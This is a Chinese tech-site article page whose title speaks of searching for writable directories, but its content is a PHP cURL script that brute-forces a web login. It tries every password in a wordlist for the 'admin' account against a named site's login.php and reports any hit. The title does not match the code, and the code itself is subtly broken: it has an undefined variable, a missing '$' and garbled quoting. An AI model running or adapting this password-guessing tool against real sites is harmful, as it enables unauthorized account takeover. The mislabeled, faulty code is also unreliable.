首页 电脑 电脑学堂 查看内容

搜索可写目录(php)

2009-10-21 09:51 771 0

摘要: <PRE>&lt;?php// configure the bruter with your scenario$target = "http://www.darkmindz.com...
关键词: cURL CURLOPT field setopt user password postfields username pass word

<PRE>&lt;?php// configure the bruter with your scenario$target = "http://www.darkmindz.com/login.php"; // your target.$user = "admin"; // the user we are bruting$user_field = "user_name"; // the username field name in form$pass_field = "password"; // the password field name in form$bad = "Wrong username or password"; // message if the user / pass was wrong$list = "path_to_word_list"; // the path to your wordlist // Set the time limit of executing the script to 0 - neverset_time_limit(0); // star the normal cURL routine$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $target);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_POST, 1); // The actual bruting processforeach(file($list) as $line){$word = str_replace(array("", ""), ', $line);$postfields = "".user_field."=".$username."&amp;".$pass_field."=".$word."";curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);$res = curl_exec($ch);if(!eregi($bad,$res)){die("Pass found, it is: {$word}"); // password found} } // close cURL connectioncurl_close($ch); ?&gt;</PRE>
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部